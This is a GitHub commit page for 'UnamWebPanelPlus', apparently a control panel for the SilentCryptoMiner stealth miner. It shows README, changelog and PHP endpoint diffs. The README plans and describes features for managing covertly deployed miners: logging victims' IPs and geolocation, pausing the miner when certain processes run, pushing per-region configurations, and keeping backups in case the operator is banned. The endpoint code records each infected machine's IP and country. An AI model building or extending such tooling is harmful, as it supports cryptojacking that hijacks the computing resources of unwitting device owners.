Skip to content

Commit

Permalink
Plus Release 0.3.0
Browse files Browse the repository at this point in the history
  • Loading branch information
Alcinzal committed Jan 23, 2024
1 parent 39de56e commit a46b4cf
Show file tree
Hide file tree
Showing 22 changed files with 1,238 additions and 1,105 deletions.
11 changes: 11 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,14 @@
### PLUS 0.3.0 (2024-01-23)
* Changed dates in database to Unix Timestamp for better compatibility with changing timezones.
* Added Cloudflare support. Checks for headers 'CF-Connecting-IP' and 'CF-IPCountry'.
* Changed formatting in unamtChart to use a 24 hour clock instead of 12 hour.
* Changed countries to Geo.
* Added continents to Geo.
* Saved country names and continent names as json files, to prevent calling a static json from another server (country.io).
* Optimized the Plus statsSaver file.
* Changed the definition of online and offline miners. Offline meaning no connection for 180 seconds, and online meaning the opposite, no matter the status.
* Optimized the displaying of statistics at the Plus page.
* Fixed bug where 2023-12-31 was week 1. Now it is correct, showing week 53.
### PLUS 0.2.5 (2024-01-16)
* Fixed bug where statistics graphs would disappear.
* Fixed the charts not updating when the resizing the browser.
Expand Down
162 changes: 93 additions & 69 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,57 +1,112 @@
# UnamWebPanelPlus v0.2.5
# UnamWebPanelPlus v0.3.0

A modified version of Unam's [UnamWebPanel](https://github.com/UnamSanctam/UnamWebPanel).

## Differences

### Main

* Lifetime statistics - Statistics are saved every hour forever. You can view the statistics and toggle between viewing the data hourly, daily, weekly or monthly.
* Countries - See which country your miners are from, both in the table and in a pie chart.
* Geo - See which country and continent your miners are from in a pie chart. Country is also visible in the datatable.
* Total Hashrate - An overview of each algorithm, and their total hashrate, online miners and their average hashrate.
* Example configurations - View examples in the configurations page to better understand what settings are available. (In the future the whole configuration page will get reworked to ensure ease of use)
* Cloudflare support - If you use Cloudflare as a DNS server, the panel will still get the correct IP address and country code, from the headers 'CF-Connecting-IP' and 'CF-IPCountry'.
* Better timezones support - All dates are saved as Unix Timestamps in the database, ensuring that dates stay true no matter what timezone. (In the future you will be able to manually select timezone on a settings page).
* More to come!

### Other
* Added the XSS patch from https://github.com/UnamSanctam/UnamWebPanel/issues/317#issuecomment-1884683799

### Video (Outdated)

The following video is outdated, however it still looks pretty similar. The IP addresses shown in the video are fake, it's only testing data. Here is the video, sorry for the flickering:

https://github.com/Alcinzal/UnamWebPanelPlus/assets/153958388/03144cbe-210d-443a-a33c-0dafddeb7eec

## What needs to be worked on?

### Bugs
* ~~When visting between the Plus page and the Statistics page, the charts at Statistics disappear until you refresh the page.~~
* The charts at the plus statistics section will sometimes say that the end of the year is week 1, but it should say week 52 or 53.
* ~~The charts dont update when resizing the browser window.~~
* ~~IMPORTANT: The JSON files are available to whoever visits them directly.~~

### Ideas
Here are some ideas, brainstorming I guess, so some of them might be dumb or useless.
* ~~Instead of saving all statistics to a json file, save it to the database instead.~~
* Add settings section, where one can change the config.php file from the panel (might pose a security risk).
* Add another settings section where the user can adjust how often or for how long the plusStats gets saved.
* Being able to disable the WebPanel in case it gets hacked, so the miners just use their chosen settings instead of the Panels settings. However if the WebPanel is hacked I suppose the hacker could just enable it again anyways haha.
* Offline miners being removed automatically after a chosen period of time.
* Add backuping, being able to backup the database file (and statistics json files) every now and then to another server, or to a cloud service like MEGA.io or Google drive. This way if you get banned for whatever reason, you still have your database and statistics files.
* ~~Save which legends are hidden or shown at the statistics section.~~
* Adding a table to the countries section, so I can view more details on each country, like how many miners, what the total hashrate is for each country for each algorithm. Maybe also add a region table/chart.
* Automatically choosing a configuration based on where the miner is based. Don't know how important this would be, but I think I saw someone suggesting it at Unam's Github.
* Adding translation for the different languages at the Plus section.
* Add a chart or table that shows which processes cause the most stealth pausing.
* Add a chart or table for top online GPUs and CPUs and how much they mine.
* Maybe some sort of indicator in the statistics chart that shows when you changed the configuration, this way you can sort of optimize your configuration by testing different configs and then look at the statistics when you had the results you're looking for.
* Adding an advanced page, where you can add miners/data to the database, for testing.
* Adding a update section, where you can check for updates from the github, and if there is a new update it updates it automatically.
## Checklist
A checklist including what is done, what is planned, and a few ideas.

- [x] Add total current hashrate for all algorithms
- [x] How much each computer mines on each algorithm on average, right below the total hashrate of each algorithm. Also add how many miners are on each algorithm.
- [ ] Statistics
- [ ] The statistics section in the Plus page can take some time to load with big amounts of data, since most of the computing is done on the server with PHP. Some of it should be done in javascript, it is done in PHP because PHP has much better date and time integration.
- [x] Save timestamp to database instead of date, because then it is easier to translate to selected date format.
- [x] Change online and offline meaning in stats, so that online includes everything, except if it has been more than 180 seconds. Online simply means it has connected to the server in the last 3 minutes. Change "Total Online/Offliner Miners" to something like "Total Active/Offline Miners".
- [x] Also add a total active + idle option in the total extra
- [x] Optimize statssaver
- [x] Change so that hourly statistics does not show week number.
- [x] I need to fix that week is bugged on new year. It says 2023-12-31 is week 1.
- [x] Optimize the statistics, since almost all the graphs are the exact same code, just a little different.
- [ ] Add something that allows the user to see how the hashrate or how the miners are when the config gets changed?
- [x] Save what hidden and shown legends to localStorage. Also what interval is chosen, and what "Miners" is chosen at the Total Algorithms section.
- [x] Instead of saving all statistics to a json file, save it to the database instead.
- [x] IMPORTANT: The JSON files are available to whoever visits them directly.
- [x] Statistics should get updated each time the endpoint is called, but only write to current hour, and overwrite hour if it exists.
- [x] Save:
- [x] Date
- [x] Total Hashrate
- [x] Total Miners
- [x] Total Online
- [x] Total Offline
- [x] Online Miners
- [x] Offline Miners
- [x] Total Active
- [x] Total Idle
- [x] Total Starting
- [x] Total Paused
- [x] Total Stopped
- [x] Total Error
- [x] Total VRAM
- [x] Total Unknown
- [ ] Configurations
- [x] Make configurations longer by default, and also add a section that allows the user to see how the configuration should look like and what values are allowed.
- [ ] Edit configurations so instead of text you get to toggle between options and write in a textbox for each option.
- [ ] Add top processes that pauses the miner.
- [ ] GPU and CPU
- [ ] Also maybe ranking the top GPUs and CPUs and how much they mine combined, and maybe on average too.
- [ ] Being able to transform the GPU and CPU charts into a ranking table.
- [ ] Geo
- [x] If you use cloudflare, you can get the country by reading the header "CF-IPCountry", also need to get their IP from "CF-Connecting-IP", if not it gets cloudflares IP.
- [x] Optimize endpoint so the json file not always gets called, rather it gets called when the data should be displayed, in the table or in the stats.
- [x] Save the Countries and Continents as JSON files.
- [x] Change "Countries" to geo
- [x] Save countries to database
- [ ] Add more statistics for geo
- [x] How many are online from each country and continent
- [ ] How much each country and continent mines for each algorithm
- [ ] Add an option that would allow each region to get their own configuration.
- [ ] In the miners tab also add a little toggle button that allows you to toggle between hiding the user or not, because for some reason if the user is hidden then you can see a lot more columns.
- [ ] Which applications cause the most stealth pausing.
- [x] Switching from plus back to statistics panel makes those stats disappear.
- [ ] Add translations for plus and settings.
- [ ] Settings
- [ ] Should look kinda like chrome settings
- [ ] Disable the webpanel, in case it gets hacked.
- [ ] Config section
- [ ] Password - string
- [ ] Database file - string
- [ ] Hashrate history enable - toggle
- [ ] Hashrate history limit - int (time)
- [ ] Failed login blocktime - int
- [ ] Failed login blocktries - int
- [ ] Automatic offline miners remover
- [ ] Change timezone, so that the statistics show the correct clock and time.
- [ ] Lifetime statistics
- [ ] How often they are saved - int (time) (maybe)
- [ ] How long they are saved - int (time)
- [ ] Database
- [ ] Importing database, so that if someone updates to a newer version with a different type of database, it can import the old data into the new data.
- [ ] Backup section, backuping statistics file to mega.nz or something similar.
- [ ] Update section, where you can check for updates from the github, and if there is a new update it updates it automatically.
- [ ] Advanced tab with some advanced things? Like adding miners manually, to test stuff.
- [ ] Change the responsiveness of the Plus page. Zooming in and out and resizing window and such.
- [ ] Change responsiveness of the statistics page.

## Supported Projects

* [SilentCryptoMiner](https://github.com/UnamSanctam/SilentCryptoMiner)

## Changelog
### PLUS 0.3.0 (2024-01-23)
* Changed dates in database to Unix Timestamp for better compatibility with changing timezones.
* Added Cloudflare support. Checks for headers 'CF-Connecting-IP' and 'CF-IPCountry'.
* Changed formatting in unamtChart to use a 24 hour clock instead of 12 hour.
* Changed countries to Geo.
* Added continents to Geo.
* Saved country names and continent names as json files, to prevent calling a static json from another server (country.io).
* Optimized the Plus statsSaver file.
* Changed the definition of online and offline miners. Offline meaning no connection for 180 seconds, and online meaning the opposite, no matter the status.
* Optimized the displaying of statistics at the Plus page.
* Fixed bug where 2023-12-31 was week 1. Now it is correct, showing week 53.
### PLUS 0.2.5 (2024-01-16)
* Fixed bug where statistics graphs would disappear.
* Fixed the charts not updating when the resizing the browser.
Expand All @@ -69,37 +124,6 @@ Here are some ideas, brainstorming I guess, so some of them might be dumb or use
* Added total hashrate section.
* Added statistics section.
* Added countries section.
### 1.7.1 (06/01/2023)
* Moved miner statistics to a new "Statistics" page
* Added more statistics such as GPU, CPU, Version and Algorithm graphs
* Fixed "Hide Offline Miners" bug
* Reworked endpoint again for better performance
* Added inactive journal size limit and higher cache limit
* Reduced WAL file growth and added cleaning
* Changed SQLite synchronous mode to OFF for higher performance
* Added Spanish translation (Xeneht)
### 1.7.0 (25/12/2022)
* Greatly improved database performance
* Greatly improved endpoint performance
* Added configurable hashrate history feature
* Added "Total Hashrate" graphs for each algorithm
* Added individual "Hashrate History" to each miner
* Added miner status statistics
* Fixed datatable width scaling
* Added "Hide Offline Miners" option
* Fixed status priority for offline and error statuses
* Added Russian translation (marat2509)
* Added Ukrainian translation (Zem0rt)
### 1.6.0 (01/06/2022)
* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text
* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days
* Added support for new miner ID per build to allow for running multiple miners of the same type at the same time
* Added Polish translation (Werlrlivx)
* Changed database settings to allow for better performance during large amounts of activity
* Changed offline status time threshold from five minutes to three minutes
* Changed endpoint text when the request isn't from the miner to reduce confusion
* Changed string sanitation away from FILTER_SANITIZE_STRING due to PHP 8.1 deprication
* Moved database to its own folder to allow for broader database file blocks

[You can view the full Changelog here](CHANGELOG.md)

Expand Down
2 changes: 1 addition & 1 deletion UnamWebPanel/api/custom-table.php
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ function db_setFilters(&$options, $alias, $allowedfilters){
$options['db_where'][] = [
'db_column' => 'ms_lastConnection',
'db_operation' => '>',
'db_value' => date('Y-m-d H:i:s', strtotime('-3 minutes'))];
'db_value' => strtotime('-3 minutes')];
}
}
break;
Expand Down
19 changes: 12 additions & 7 deletions UnamWebPanel/api/endpoint.php
Original file line number Diff line number Diff line change
Expand Up @@ -10,8 +10,10 @@
return;
}

$hostaddress = $_SERVER["REMOTE_ADDR"] ?? '127.0.0.1';
$currentDate = date('Y-m-d H:i:s');
$headers = getallheaders();

$hostaddress = $headers['CF-Connecting-IP'] ?? $_SERVER["REMOTE_ADDR"] ?? '127.0.0.1';
$currentDate = time();

//Allows for the IP to get received as data. Only use when testing or creating fake data.
//$hostaddress = getData('ip');
Expand Down Expand Up @@ -46,7 +48,7 @@ function getData($key){
'ms_stealthfound'=>getData('stealthfound'),
'ms_remoteURL'=>getData('remoteconfig'),
'ms_lastConnection'=>$currentDate,
'ms_country'=>'Unknown'
'ms_country'=>$headers['CF-IPCountry'] ?? 'Unknown'
];

try {
Expand All @@ -66,12 +68,15 @@ function getData($key){
$s->execute(array_merge(array_values($fields), [$configres['ms_minerID']]));
$s->closeCursor();
} else {
$countries = get_object_vars(json_decode(file_get_contents('http://country.io/names.json')));
$minerCountry = file_get_contents('https://api.country.is/'.$hostaddress);
if (!($minerCountry === FALSE)){
$fields['ms_country'] = $countries[get_object_vars(json_decode($minerCountry))['country']];
if($fields['ms_country'] == 'Unknown'){
$minerCountry = file_get_contents('https://api.country.is/'.$hostaddress);
if (!($minerCountry === FALSE)){
$fields['ms_country'] = json_decode($minerCountry, true)['country'] ?? 'Unknown';
}
}

$fields['ms_creationDate'] = $currentDate;

$s = getConn()->prepare("INSERT INTO miners (ms_uqhash, ms_rid, ms_type, ms_config, ".implode(', ', array_keys($fields)).") VALUES (?, ?, ?, ?".str_repeat(", ?", count($fields)).")");
$s->execute(array_merge([$uqhash, $id, $type, ($type == 'xmrig' ? 1 : 2)], array_values($fields)));
$s->closeCursor();
Expand Down
Loading

0 comments on commit a46b4cf

Please sign in to comment.